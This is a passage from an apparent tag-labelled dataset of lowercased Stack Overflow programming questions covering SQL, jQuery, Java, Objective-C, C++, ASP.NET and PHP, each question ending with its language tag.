getchar(); }   system( pause ); return (0); </code></pre>   },c
sql count but exclude certain rows  i am running a query that counts submitted posts:    <pre><code>select count(*)  from `wp_posts`  where `post_author` = 4    and `post_type` =  nf_sub     and `post_status` =  publish  </code></pre>   this returns all the posts. now i want to exclude posts where _form_id_ = 1. this query:   <pre><code>select *  from `wp_postmeta`  where `post_id` = 225    and `meta_key` =  _form_id     and `meta_value` = 1 </code></pre>   how can i combine the two into one query that only counts rows where _form_id_ is not equal to 1,mysql
jquery populate input text fields based on datepicker  what i m trying to do is create a form which will allow users to enter in a form the number of hours they ve worked over a two week period.    the form has 14 rows containing fields asking for start and end time. this i can do.    what i need to do is in the form is: the user selects a weekending date  which then populates 14 text fields with a date based on the previous 14 dates.    now i know i can use the following script to do one date  but how do i do multiple fields at once without so many lines of code.    sample :   <pre><code>&lt;script&gt; $(document).ready(function(){ $(  #datepicker1  ).datepicker({     onclose: function() {         var date2 = $( #datepicker1 ).datepicker( getdate );         date2.setdate(date2.getdate()+3)         $(  #datepicker2  ).datepicker( setdate   date2);     } }); $(  #datepicker2  ).datepicker(); });  &lt;/head&gt; &lt;body&gt; &lt;p&gt;date1: &lt;input type= text  id= datepicker1 &gt;&lt;/p&gt; &lt;p&gt;date2: &lt;input type= text  id= datepicker2 &gt;&lt;/p&gt;  </code></pre>,jquery
need little help with jquery & selectors (simple text without tags)  i have html:   <pre><code>&lt;font color=darkgreen&gt;18.96&lt;br&gt;&lt;b&gt;18.95&lt;/b&gt;&lt;br&gt;18.94&lt;br&gt;18.92&lt;br&gt;18.88&lt;br&gt;18.86&lt;br&gt;18.53&lt;br&gt;18.51&lt;br&gt;&lt;/font&gt; </code></pre>   and i need to select 18.96. i tried with .children(0)  but this return me 18.95.,jquery
making user defined map  i have a pojo named employee  now i want to make a user defined collection that i want to put on a map. please advise me how to achieve this.   <pre><code>public class employee {     string name job;     int salary;      public employee(string n   string j  int t) {         this.name= n;         this.job=j;         this.salary= t;               }      @override     public int hashcode() {               return name.hashcode()+job.hashcode()+salary;             }      @override     public boolean equals(object obj) {           employee e = (employee) obj;             return this.name.equals(e.name) &amp;&amp; this.job.equals(e.job)                    &amp;&amp; this.salary == e.salary;     }    } </code></pre>,java
how could i pass the float number by value in objective-c   in the following code  i passed the  1.3f  to printfloat  but it was the wrong value (in this case  -2.000000) after was  f  received. and there is a warning that  appdelegate may not respond to -printfloat:     where did i get it wrong    <pre><code>- (void)applicationdidfinishlaunching:(uiapplication *)application{     // override point for customization after application launch     [window makekeyandvisible];     [self printfloat:1.3f]; }  - (void)printfloat:(float)f {     nslog(@ %f  f); } </code></pre>,objective-c
objective-c: checking class type  better to use iskindofclass  or respondstoselector   is it more appropriate to check a class s type by calling iskindofclass:  or take the  duck typing  approach by just checking whether it supports the method you re looking for via respondstoselector:      here s the code i m thinking of  written both ways:   <pre><code>for (id widget in self.widgets) {     [self trytorefresh:widget];      // does this widget have sources  refresh them  too.     if ([widget iskindofclass:[widgetwithsources class]])     {         for (source* source in [widget sources])         {             [self trytorefresh:source];         }     } } </code></pre>   alternatively:   <pre><code>for (id widget in self.widgets) {     [self trytorefresh:widget];      // does this widget have sources  refresh them  too.     if ([widget respondstoselector:(@selector(sources))])     {         for (source* source in [widget sources])         {             [self trytorefresh:source];         }     } } </code></pre>,objective-c
zenlib error : undefined reference to open function call which uses typedef  i am trying to compile a program which uses zenlib    see below code   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;sstream&gt; #include &lt;zenlib/ztring.h&gt; #include &lt;zenlib/file.h&gt;  using namespace std;   int main () {       zenlib::file from;       zenlib::tstring tstr( /path/to/file );       from.open(tstr); } </code></pre>   libzen.so is in /usr/lib/x86_64-linux-gnu/    compile command   <pre><code>g++ -g tst1.cpp -o a.out -lpthread -lzen </code></pre>   i am getting below error   <pre><code>/tmp/cck5s6io.o: in function `main : /tmp/tst1.cpp:13: undefined reference to `zenlib::file::open(std::string const&amp;  zenlib::file::access_t)  collect2: error: ld returned 1 exit status </code></pre>   open declared as below   <pre><code>bool open  (const tstring &amp;file_name  access_t access=access_read); </code></pre>   tstring typedefed in ztring.h as below   <pre><code>typedef std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt; tstring; </code></pre>,c++
start background job asp.net 4.0 application  i am facing one problem. i have to create asp.net 4.0 web application which should check a table from database after a specified interval and iterates over all records. i have to save some of the records having  xxxx  in column value. i created a class and this class has timer having 1 minute of interval. on tick method it iterates over all records and filter out the data to save.    i created the instance of this class in <code>application_start()</code> method in <code>global.asax</code> but this method does not fire. remember this web application has no webform  not even default.aspx    i cannot do this in windows service as hosting provider does not support windows service.,asp.net
asp.net multiple source files  in a noncompiled .aspx  is it possible to have 2 partial class files for one aspx   i m trying to do something like:<pre>     &lt;%@ page          language= c#           inherits= _default           src= default.aspx.cs           src= default2.aspx.cs  %> </pre>    both default and default2 have the partial class defined    update:  yep.. it s not compiled or the point would be moot as i d just chuck the corresponding dll s in the /bin directory.  i need to have this not compiled because the source needs to be changed regularly.  i probably could come up with a way to just update the aspx  but i d like to not have to do that.    the reason i m using two source files is that there is a lot of source code that connects to my database and whatnot.  i have one person that s gonna muck with the db stuff and another person to muck with the other logic.  i d prefer to have these files separate so they don t have to muddle through code that they don t need to look at,asp.net
how do i compute an order line number in sql 2000  i am working with an order system that has two tables order and orderline pretty standard stuff.  i want to work out an order line number for the order lines with respect to the order e.g.    orderid orderlineid linenumber<br> 1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1<br> 2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1<br> 2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2<br> 3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1<br> 4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1<br> 4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2    the orderlineid is an identity column.  i don t want to store the line number as data in the database for two reasons.  first there are already a great many existing orders and lines in the system and retrospectively adding the data is a headache i wish to avoid. second if the user deletes a line then i would need to recalculate the line numbers for the whole order.    in sql 2005 i can do this easy peasy using the row_number function.   <pre><code>select orderid  orderlineid  row_number()  over(partition by orderid order by orderlineid) as linenumber from orderline </code></pre>   is there anyway i can do this in sql 2000     the closest i found was a ranking function (see below) but this counts orders not lines.   <pre><code>select x.ranking  x.orderid from (select (select count( distinct t1.orderid) from orderline t1 where z.orderid &gt;= t1.orderid)as ranking  z.orderid  from orderline z ) x  order by x.ranking </code></pre>,sql
how to make endless loop for string checking in file (java)  i want to write a program which would check the file line by line and tell if the data exists in that file  when user inputs the data.  so far i have this code right here (it is not mine):   <pre><code>package ibanas;  import java.util.scanner; import java.io.ioexception;  public class readfromfile {      public static void main(string[] args) throws ioexception {       scanner sc = new scanner(readfromfile.class.getresourceasstream( file.txt ));     scanner myscanner = new scanner(system.in);      system.out.println( what number would you like to check for  );     string number = myscanner.nextline() ;     int linenum = 0;     string word=  ;     while(sc.hasnextline()) {         word = sc.nextline();          if(word.equals(number.trim())) {              system.out.println( the number  +number+   is there );              return;         } else {          }     }      system.out.println( not found );  } } </code></pre>   and here is the txt file:   <pre><code>lt647044001231465456 aa051245445454552117989 lt517044077788877777 lt227044077788877777 cc051245445454552117989 </code></pre>   and one more thing - when i enter the first line number  lt647044001231465456   it shows not found  but it is in that txt file  so i cant figure whats the problem with that. with other four numbers everything is okay.  and it would be great if it would endlessly ask for input  because the program now stops when if statement is complete. should i put the if statement in some kind of a loop which would roll untill reaches != null  thanks for any help.,java
no class def found for r.string of a library project  basically  i have an android project which i am using as a library in another android project.  the problem is that when i run my normal android project  on run time when the following line is executed: -   <pre><code>editor.putstring(res.getstring(r.string.pref_key_srate)     + audioparameters.suggestsamplerate()); // line in library project </code></pre>   i get the crash   <pre><code>06-30 13:23:25.878: e/androidruntime(3325): java.lang.noclassdeffounderror: org.puredata.android.service.r$string </code></pre>   means that cannot find the r file when running as a library in another project. now i dont want to replace all the r.string references with string literals but instead i want it to recognise r file of the library at run time.    any idea how fix this  thanks in advance,android
how this line works  kindly help me  i want to know the meaning of this line in linked list in c++.    <code>i = (i == null)  head : i-&gt;next;</code>,c++
objective-c - is it okay to not have a return for a method   i have a method that returns an object  like   <pre><code>- (myobject *) dostuff: (nsstring *)x  </code></pre>   this method creates an entry on an array and also returns the object created  so i can do other things with it after running the method  but at some point in my code i don t need the reference it returns  so  instead of using   <pre><code>myobj1 = [dostuff: myvalue]; </code></pre>   i just want to make it like   <pre><code>[dostuff: myvalue]; </code></pre>   is it ok to do that  will i have any problem like crash or the app becoming crazy   is there other alternatives to make this,objective-c
odbc @ localhost  error while updating  im getting this error when im trying to update data in the database. this is my database.php file   <pre><code>&lt; php   $db_name =  db ;  $db_server =  localhost ;  $db_user =  xxxx ;  $db_pass =  zzzzzzzzz ;   $mysqli = new mysqli($db_server  $db_user  $db_pass  $db_name)  or die(mysqli_error());   &gt; </code></pre>   update.php   <pre><code>&lt; php   require  database.php ;   $title = mysql_real_escape_string($_post[ title ]);  $id = mysql_real_escape_string($_post[ id ]);   $update_query =  update photos set title =  $title  where id= $id  ;   $result = $mysqli-&gt;query($update_query) or die(mysqli_error($mysqli));   if ($result) {     echo  success! ;     echo  the title of this photo has been changed to:  &lt;strong&gt;$title&lt;/strong&gt; ;  }   &gt; </code></pre>   the error message:   <pre><code>warning: mysql_real_escape_string() [function.mysql-real-escape-string]: access denied for user  odbc @ localhost  (using password: no) in c:\wamp\www\myphotoswebsite\changephototitle.php on line 5 </code></pre>,mysql
intvalue of an object from array causing errors  i am having a slight code problem. i have an array but when i pull data out of it  i need it in the form of an <code>int</code>. to do this  i tried to use:   <pre><code>int main_id = [[courses valueforkey:@ id ] intvalue]; </code></pre>   but this gives me the error:   <pre><code> *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:    -[__nsarrayi intvalue]: unrecognized selector sent to instance 0x6b438d0  *** first throw call stack: (0x16ac022 0x183dcd6 0x16adcbd 0x1612ed0 0x1612cb2 0x4bf8 0x4fdd 0xdea1e 0xddfec 0x104f1d 0xef1cb 0x105df1 0x105e0d 0x105ea9 0x446f5 0x4473c 0x15596 0x16274 0x25183 0x25c38 0x19634 0x1596ef5 0x1680195 0x15e4ff2 0x15e38da 0x15e2d84 0x15e2c9b 0x15c65 0x17626 0x36ed 0x2695 0x1) terminate called throwing an exception </code></pre>,objective-c
converting long (whose decimal representation represents a yyyymmdd.. date) to a different date format  i have long of the form   <pre><code>20120720162145 yyyymmddhhmmss </code></pre>   i have to convert it to <code>2012-07-20  4:21 pm</code> form. is there any way in java to do this using <code>date</code>,java
sql: find all record from single table not like from 2 column  i want fetch all the records from single table except only when column a has value x and column b has value p. so for example    <strong>table:</strong>   <pre><code>value   column a    column b 1       x           p 2       x           q 3       y           p 4       y           q 5       z           r </code></pre>   so i want to fetch all records except first record where  column a has x and column b has p value. please help,sql
select only one row while doing groupby in mysql  t have the following table:   <pre><code>mid pid   price 1   100   10 1   200   10 1   300   10 1   400   10 2   500   20 2   600   30 2   700   20 3   800   40 3   900   50 </code></pre>   i want to find the least priced pid for each mid.    for that i was querying this code.   <pre><code>select t1.mid t1.pid  from tablename t1 join (   select mid  min(price) as min_price   from tablename   group by mid ) as t2 on t1.mid = t2.mid and t1.price = t2.min_price; </code></pre>   ideally it should give result  but in my case in each group there are multiple <code>pid</code> having same price. so it is printing all the result.    but i just want to limit 1 row for each mid.    is there any way to do this  i have a  <a href= http://www.sqlfiddle.com/#!2/e2244c/2  rel= nofollow noreferrer >sqlfiddle demo</a>,mysql
in c# how to display 1gb xml data very fast using xmltextreader...   i have a 1 gb xml file .by using xmltextreader how to display total data of this file very fast.your suggestions are valueble    thanks   sivaram,c#
what is the implementation of `strtol`   i m just curious about this. <code>strtol</code> does not require you to specify the number of bytes to process  so in theory it may be fed a string containing an endless sequence of digits to consume  leading to a denial-of-service attack. of course  it is easily thwarted by realizing that at once the precision of the long has been exhausted (couldn t really be more than 65 chars of a binary number) there is no point in reading any further.     however  <code>strtol</code> is also required to discard as many whitespace characters as necessary until the first non-whitespace character is encountered. so could it not be attacked with an endless whitespace string even if it is smart about reading digits,c
javascript: drawing on canvas won t work because of calling a function  i currently am working on making mastermind in javascript. i m now making the visual part. the code i m working on should draw squares and fill them with a color that you give in. it works ok  untill i define a variable for wich i use an earlier defined function. the drawing  that works when i don t define that variable all of a sudden won t work.     my code for drawing 8 lines of 4 squares is:   <pre><code>&lt;canvas id= mycanvas  width= 400  height= 520  style= border: 1px solid #000000; &gt;...&lt;/canvas&gt; </code></pre>      <pre><code>var j = 0; var scomb = makesecretcomb(); while(j&lt;9){   var i = 0; var colors =[];  while(i&lt;4){   var a = prompt( give in a color );   colors.push(a);    var canvas = document.getelementbyid( mycanvas );   var context = canvas.getcontext( 2d );    context.beginpath();   context.rect(50*(i)  50*(j+1)  50  50);   context.fillstyle = a;   context.fill();   context.linewidth = 7;   context.strokestyle =  black ;   context.stroke();   i = i+1; }    j=j+1  } </code></pre>   without the variable scomb  i can draw the squares  with scomb in the code i get a blank canvas. any idea how this may be,javascript
does virtual inheritance have a cost when it isn t really needed or used   if i do the following:   <pre><code>class derived : public virtual base {}; </code></pre>   but <code>base</code> never occurs twice for the same descendent class  is there still a cost  in other words  does simply adding the keyword introduce that extra level of indirection for any virtual function call between <code>base</code> and subclasses of <code>derived</code>  or is it the appearance of <code>base</code> twice or more from the perspective of a descendent class that triggers it     the wording on this is a bit tough... i hope that my question makes sense.,c++
how to put html element into the label within asp checkbox   basically what i need to get rendered is this:   <pre><code>&lt;input id= maincontent_pagecontent_settingspage_rfid info  type= checkbox  name= ctl00$ctl00$maincontent$pagecontent$settingspage$rfid info  checked= checked &gt; &lt;label for= maincontent_pagecontent_settingspage_rfid info &gt;     &lt;i class= fa fa-check  aria-hidden= true &gt;&lt;/i&gt; &lt;/label&gt; </code></pre>   meanwhile system.web.ui.webcontrols.checkbox gives me only this:   <pre><code>&lt;input id= maincontent_pagecontent_settingspage_rfid info  type= checkbox  name= ctl00$ctl00$maincontent$pagecontent$settingspage$rfid info  checked= checked &gt; &lt;label for= maincontent_pagecontent_settingspage_rfid info &gt;     rfid info &lt;/label&gt; </code></pre>,asp.net
universal app with landscape only not work good in ipad - objective c  i build a app that not allow portrait orientation.    <a href= https://i.stack.imgur.com/yx1ju.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/yx1ju.png  alt= enter image description here ></a>    when i run the app in iphone its open in landscape   and on ipad its open in portrait.    i need that the all devices open in landscape.    what i do wrong,objective-c
constructing dates in tsql  trying to construct a date:   <pre><code>cast( 9/1/  + year(getdate()) as datetime) as test2 </code></pre>   but it doesnt work     would like to get something like  9/1/2010,sql
pycharm wont run code! am i doing this right   i ve been trying to get a code started and for a day  it worked  but now  pycharm wont run it anymore. it doesn t give me any errors so i m just left with:     c:\program files\python36\python.exe   c:/users/********/pycharmprojects/xtractor/xtractor code.py     process finished with exit code 0    this is the code that i am trying to run:   <pre><code>def xtractor(self):      test_file = open(dmca   r )      lines = test_file.readlines()      print(lines) </code></pre>,python
detect which version of .net is installed  (.net 3.5 not running on .net 4)  despite mircrosoft s assurances later .net will always be backward compatible ( <a href= http://msdn.microsoft.com/en-us/library/bb822049.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/bb822049.aspx</a> ) my .net 3.5 sp1 app does not run a box with .net4.....     the user is presented with an error that sheds no light on why the app will not run:   <blockquote>     unable to find a version of the runtime to run this application.   </blockquote>   great.    so i would like write another app altogether that will run and check if they can run the app  proabably in c++. how can i check what version of .net is installed and if for sure my app .net app will run otherwise point the user in the right direction to install the required .net,.net
c# readline variable string to int  i have a statement and then the user has to enter a key.<br> if they enter one they do one thing and another  another thing.    from my readline i have the problem where     <blockquote>     error cs0029: cannot implicitly convert type  int  to  string  .  </blockquote>   what s the problem with this because i think i have:   <pre><code>choice = convert.toint32(console.readline()); </code></pre>   <strong>edit</strong>     so now i have used steve s answer (below)    this throws up this error message:   <blockquote>    cs0029: cannot implicitly convert type  int  to  bool   </blockquote>   and for this line i think:   <pre><code>case 1:   // action for choice == 1   if(choice = 1|2)      console.writeline( choice {0} selected  choice);   break; </code></pre>,c#
how do i test my asp.net httphandler  im trying to write a small web application for forwarding requests to my page to the new pages on my web site. first off im implementing a ihttphandler and in the processrequest method i simple want to print out the requesting page  my conde looks like this:   <pre><code>public class redirecthandler : ihttphandler     {         public bool isreusable         {             get { return true; }         }          public void processrequest(httpcontext context)         {             context.response.write(context.request.path);         }     } </code></pre>   i have registered in the web.config and have a problem with testing the handler. i start it through visual studio  it is just listing my files. i then from a browser request a file  and expects to see the name in the browser  but an exception that the page is not found is thrown. i have deleted all other .aspx page so the only  page  i have is my http handler. could anyone point me in the right direction     <strong>edit</strong> configuration settings (web.config)   <pre><code>&lt;system.webserver&gt;      &lt;modules runallmanagedmodulesforallrequests= true /&gt;     &lt;handlers&gt;       &lt;add name= redirecthandler  resourcetype= unspecified  verb= *  path= *.html  type= jeeves.redirecthandler /&gt;     &lt;/handlers&gt;   &lt;/system.webserver&gt; </code></pre>,asp.net
css hover for after and before element <pre><code>&lt;div id= box &gt;&lt;/div&gt;​  #box{ height:40px; width:100px; background:red; }  #box:hover{background:blue;}  #box:after{ content:   ; height: 10px; position: absolute; width: 0;     margin-top:50px; background:red; border: 10px solid transparent; border-top-color: #04ade5; } ​ </code></pre>   sample <a href= http://jsfiddle.net/zfqvd/4/  rel= nofollow >http://jsfiddle.net/zfqvd/4/</a>    i am using after created an arrow  but when i hover on the box  the arrow background is not changed  how to change the background for arrow  when onhover the box  thanks,css
c# hierarchy list (tree) to flatt list  i have the following class:   <pre><code>public class item {      public item()     {         this.items = new list&lt;item&gt;();     }      public string id { get; set; }     public string parentid { get; set; }     public string name { get; set; }     public datetime created { get; set; }     public string content { get; set; }     public string userid { get; set; }     list&lt;item&gt; children { get; set; } } </code></pre>   this class will provide a tree hierarchical structure with n deep levels (parent - children)    so basically when i get the hierarchy as a list:   <pre><code>list&lt;item&gt; items = jsonconvert.deserializeobject&lt;list&lt;item&gt;&gt;( json in here ) </code></pre>   the result will be similar to this: the deepness can be x levels. there can be one or more parents (parentid = null is top level)   <ul> <li>parent (id:1  parentid: null)  <ul> <li>child (id: 1.1  parentid: 1)  <ul> <li>child (id: 1.1.1  parentid: 1.1)</li> </ul></li> <li>child (id: 1.2  parentid: 1)  <ul> <li>child (id: 1.2.1  parentid: 1.2)</li> <li>child (id: 1.2.2  parentid: 1.2)</li> </ul></li> <li>child (id: 1.3  parentid: 1)</li> </ul></li> <li>parent (id:2  parentid: null)  <ul> <li>child (id: 2.1  parentid: 2)  <ul> <li>child (id: 2.1.1  parentid: 2.1)</li> </ul></li> <li>child (id: 2.2  parentid: 2)  <ul> <li>child (id: 2.2.1  parentid: 2.2)</li> <li>child (id: 2.2.2  parentid: 2.2)</li> </ul></li> <li>child (id: 2.3  parentid: 2)</li> </ul></li> <li>parent (id:3  parentid: null)</li> </ul>   now  i need to save this hierarchy into a database table.    my question how can i flatten this hierarchy to a <code>list&lt;item&gt;</code>     edit:    the <code>id</code> and <code>parentid</code> are guids.,c#
jquery block ui set time interval  i am working on jquery ui  i am blocking ui on click on anchor  on clicking i am loading some url into a div thats why i am blocking ui to prevent clicking then unblocks it  the problem arising is that blocking is occuring one one second(or less) and suddenly unblocks and in this case the request url didn t load completly and user is able  to click another anchor   <pre><code>$( .carousel-main .carousel ul li a ).each(function () {             $(this).click(function (e) {      $.blockui({ message:  please wait...  });                  e.preventdefault();                 var hrefvalue = $(this).attr( href );                 callaction(hrefvalue  true);                 $.unblockui()              });         }); </code></pre>   the above code is working fine  i also tried using  below code in place of $.blockui but nothing happens in using below code   <pre><code>var timeout = settimeout(function() {     $.blockui({ message:  please wait...  });  }  2000); </code></pre>   how can i set timeinterval for this situation,jquery
how to create .ipa and generate link to install and test ios app with extension of watchkit app   i am newbie in development of ios app with extension of watchkit app. can anybody please help me out by giving a solution of   how to create .ipa of ios app with extension of watchkit app and generate link to install. i tried to create and install on real device but it didn t work. i was using www.diawi.com for creating this .your help would be greatly appreciated!,ios
indexoutofboundsexception arraylist error  i m writing a basic java card game but i m getting a <code>java.lang.indexoutofboundsexception: index: 6  size 6 (in java.util.arraylist</code> error on this bit of code  could you help me please    <pre><code> public void simple() {          if (cards.get(cards.size()-1).getsuit().equals(cards.get(cards.size()).getsuit())) {               int last=cards.size()-1;             card c=cards.remove(last);             cards.set(last-1 c);          }         else {             system.out.println( hi );         }     } </code></pre>,java
making phone calls programmatically  how can we make phone calls programmatically without using the code    <pre><code>[[uiapplication sharedapplication] openurl:[nsurl urlwithstring:@ tel://9423456789 ]]; </code></pre>,iphone
reading input line and parsing it into stl storage c++  i need to write a program that can read user input and store it. the information user will provide is a puzzle piece. the information will be in format:   <pre><code>piece 2 12:244:2333:78:as=fs/ sf </code></pre>   where <code>piece</code> is the command to store the information  2  is the id_number of the puzzle  first for string separated by  :  are the puzzles sides(give information which puzzle piece fits where) and lastly there are 3 3 character groups which are the  picture of the puzzle . basically i need to store the id  sides and the picture of the puzzle for further use. how can i do that,c++
how to store users data like docs  audio  video in angularjs   i want to make angular project where i want data like docs  audio  video to upload by the registered users and want to store and display on my home page. is it possible to store docs audio video if yes then how without using any server side script,angularjs
php passing incrementation type throw a variable  how can i pass the type of incrementation throw a variable like the example bellow:     <pre><code>function next_prev_elem($step_id  $array  $incre){     foreach ($array as $i) {         $incre.$step_id;         foreach ($array as $item) {             if($step_id === $item[ id ]){                 return $step_id;                 break;             }         }     }     return false; } $prev_id = next_prev_elem($id  $page_news   -- ); $next_id = next_prev_elem($id  $page_news   ++ ); </code></pre>,php
how to avoid code duplication for one-off methods with a slightly different signature  i am wrapping a number of functions from a vender api in c#.  each of the wrapping functions will fit the pattern:   <pre><code>public ienumerator&lt;ivalues&gt; getaggregatevalues(string pointid  datetime startdate  datetime enddate  timespan period) {    // validate data    // break up requesting time-span    // make requests    // read results (through another method call } </code></pre>   5 of the 6 requests are aggregate data pulls and have the same signature  so it makes sense to put them in one method and pass the aggregate type to avoid duplication of code.  the 6th method however follows the exact same pattern with the same result-set  but is not an aggregate  so no time period is passed to the function (changing the signature).      is there an elegant way to handle this kind of situation without coding a one-off function to handle the non-aggregate request,.net
rounding figures to nearest  i was looking for the answer to round after a calculation but i cannot seem to find it. i know you have to use the round code in your javascript but i do not know where to put it  it does not seem to work..   <pre><code>      val1 = parseint($( #figure1 ).val());       val2 = parseint($( #figure2 ).val());       $( #totalcost ).val( ( $  val1 + val2 )); </code></pre>   where would i put the rounding code  so it rounds the total cost     thanks,javascript
how can i do accurate decimal number arithmetic since using floats is not reliable   how can i do accurate decimal number arithmetic since using floats is not reliable  i still want to return the answer to a textfield.,objective-c
how to properly compare 2 strings in javascript   i am absolutely new in javascript and i have a problem comparing 2 strings.    into a function i have this code:   <pre><code>var selectedprojectstatustext = selectedprojectstatus.options[selectedprojectstatus.selectedindex].text;  alert( ==   + selectedprojectstatustext ==  -- please select -- ); alert( ===   + selectedprojectstatustext ===  -- please select -- ); </code></pre>   i am using the <code>alert()</code> function to try how to work string comparator.    the problem is that both the <code>alert()</code> say me false when the <code>selectedprojectstatustext</code> variable contains the <code>-- please select --</code> string.    why  what am i missing  what could be the cause of the problem  how can i fix it  what am i missing,javascript
class assignment help- read input into a parser  here is a starting point that my instructor has provided us. i am having trouble finding a way to read input from a command in unix environment such as  ls  or  hist  using the provided parcer gettoks(). gettoks() is linked from a .l that has the code for the parser. how can toks (which is declared as a pointer to a pointer) be used to pass a line of input into gettoks() that will parse it (i will then return appropriate system call based on the input) ive tried using fget but get a compiler error. any suggestions would be appreciated.   <pre><code>//*********************************************************  int main( int argc  char *argv[] ) {     // local variables     int ii;     char **toks;     int retval;      // initialize local variables     ii = 0;     toks = null;     retval = 0;      // main (infinite) loop     while( true )     {         // get arguments         toks = gettoks();          if( toks[0] != null )         {             // simple loop to echo all arguments             for( ii=0; toks[ii] != null; ii++ )             {                 cout &lt;&lt;  argument   &lt;&lt; ii &lt;&lt;  :   &lt;&lt; toks[ii] &lt;&lt; endl;             }              if( !strcmp( toks[0]   exit  ))                 break;         }     }      // return to calling environment     return( retval ); } </code></pre>,c++
disable a specific link permanently when clicking another link-php <pre><code> $newcomments= mysql_query( select * from comments items where comments.ino=items.ino and comments.ino= $ino  and uid= $uname  ) or die ( cant get new comments );       $row3=mysql_fetch_array($newcomments);       $new_com_no=$row3[ com_no ];   echo  &lt;form name= postform  class= form-horizontal  role= form  method= post  action= member.php uname=$uname&amp;ino=$ino&amp;cid=$cid&amp;commit=$commit&amp;role=$role&amp;title=$title&amp;op_type=postcomment  align= right &gt;       &lt;h4 align= center &gt;&lt;font face= trebuchet ms &gt;comment details&lt;/font&gt;&lt;/h4&gt;       &lt;table class= table table-hover borderless  style= width:600px;  align= center &gt;       &lt;tr&gt;         &lt;th align= left &gt;comment&lt;/th&gt;         &lt;th align= left &gt;actions&lt;/th&gt;       &lt;/tr&gt; ;    while ($row=mysql_fetch_array($comments))   {      $comment=$row[ comment ];      $com_no=$row[ com_no ];      $uid=$row[ uid ];      $decision=$row[ decision ];  $ino=$row2[ ino ];      $cid=$row2[ cid ];      $title=$row2[ title ];       echo  &lt;tr&gt;&lt;td&gt;  ;      echo $comment;      echo &lt;/td&gt;&lt;td&gt; ; </code></pre>   when user click  post comment  link in front of a comment that respective comment is stored in a database table.<br> in here  it checks whether comment number is already in the database table. my problem is when i click  post comment  link  all the edit links are disabled.  what i want is to disable only the specific  edit  link  which the comment is in the database.   <pre><code>     if($com_no=$new_com_no)    {         $com_no=$row[ com_no ];         echo &lt;a class= btn btn-small btn-info   disabled&gt;edit&lt;/a&gt; ;     }    else{       $com_no=$row[ com_no ];      echo &lt;a href= member.php uname=$uname&amp;ino=$ino&amp;cid=$cid&amp;com_no=$com_no&amp;comment=$comment&amp;op_type=editcomment  class= btn btn-small btn-info &gt;edit&lt;/a&gt; ;    }        $com_no=$row[ com_no ];       echo &lt;/td&gt;      &lt;td&gt;&lt;a href= member.php uname=$uname&amp;com_no=$com_no&amp;ino=$ino&amp;cid=$cid&amp;title=$title&amp;comment=$comment&amp;op_type=postcomment  class= btn btn-small btn-warning &gt;post comment&lt;/a&gt;         &lt;/td&gt;&lt;/tr&gt; ;     }      echo &lt;tr&gt;&lt;td&gt; ;      echo &lt;font face= exo  color= #808080 &gt;please click  post comment  to submit your comments&lt;/font&gt; ;     echo &lt;a class= btn btn-success btn-small  href= member.php uname=$uname&amp;com_no=$com_no&amp;ino=$ino&amp;cid=$cid&amp;title=$title&amp;op_type=getapproval &gt;approval&lt;/a&gt;     &lt;a class= btn btn-primary btn-small  href= member.php uname=$uname&amp;com_no=$com_no&amp;ino=$ino&amp;cid=$cid&amp;title=$title&amp;op_type=getcomment &gt;comment&lt;/a&gt;     &lt;input class= btn btn-default btn-small  type= button  value= cancel  onclick= history.back() &gt;    &lt;/td&gt;&lt;/tr&gt; ;  echo &lt;/table&gt;&lt;/form&gt; ; </code></pre>,php
how to override function of class while creating its object  i searched stackoverflow and google but couldn t understand. this is my code.  class test and class tester are in different package and i cannot extend test class    i want to override token() of class test in get() of class tester   <pre><code>public class test{     private string d;     private string f;      test(string d  string f) {         this. d = d;         this.f = f;     }      public string token(string a  string b) {         string c;          // token() logic         return c;     }  }  public class tester{      public void get() {         test t = new test (“sample1”  “sample2”);        // get() logic     }  } </code></pre>,java
compiling c++ program with a header file  sorry i m new to c++  but i am having a problem compiling a c++ program that uses the functions of a class defined in another file.    i have:   <pre><code> // gradebook.h  // gradebook class definition in a separate file from main.  //   #include &lt;iostream&gt; #include &lt;string&gt;  using namespace std;  class gradebook {     public:     gradebook (string name)     {         setcoursename(name);     } // end gradebook constructor      void setcoursename(string name)     {         coursename = name;     }      string getcoursename()     { return coursename; }      void displaymessage()     { cout &lt;&lt; welcome to the gradebook for\n  &lt;&lt;getcoursename()&lt;&lt; ! &lt;endl; }     private:         string coursename; }; //end of class </code></pre>   <strong>and this main file:</strong>   <pre><code>// grade.cpp // including class gradebook from file gradebook.h for use in main. // #include &lt;iostream&gt; #include  gradebook.h  using namespace std;  int main() {     gradebook gradebook1(  cs101 introduction to c++ programing );     gradebook gradebook2(  cs102 data structures in c++ );      cout &lt;&lt; gradebook1 create for course:  &lt;&lt;gradebook1.getcoursename() &lt;&lt; \ngradebook2 created for course:  &lt;&lt;gradebook2.getcoursename() &lt;&lt;endl; }// end main // grade.cpp // including class gradebook from file gradebook.h for use in main. // #include &lt;iostream&gt; #include  gradebook.h  using namespace std;  int main() {     gradebook gradebook1(  cs101 introduction to c++ programing );     gradebook gradebook2(  cs102 data structures in c++ );      cout &lt;&lt; gradebook1 create for course:  &lt;&lt;gradebook1.getcoursename() &lt;&lt; \ngradebook2 created for course:  &lt;&lt;gradebook2.getcoursename() &lt;&lt;endl; }// end main </code></pre>   when i try to compile grade.cpp i get so many errors.  my operating system is fedora  and i use <code>g++ grade.cpp -o grade -wall</code>  <br> to compile the program.  can someone please help     <br> error message: <br>   <pre><code> g++ grade.cpp -o grade -lm in file included from grade.cpp:5:0: 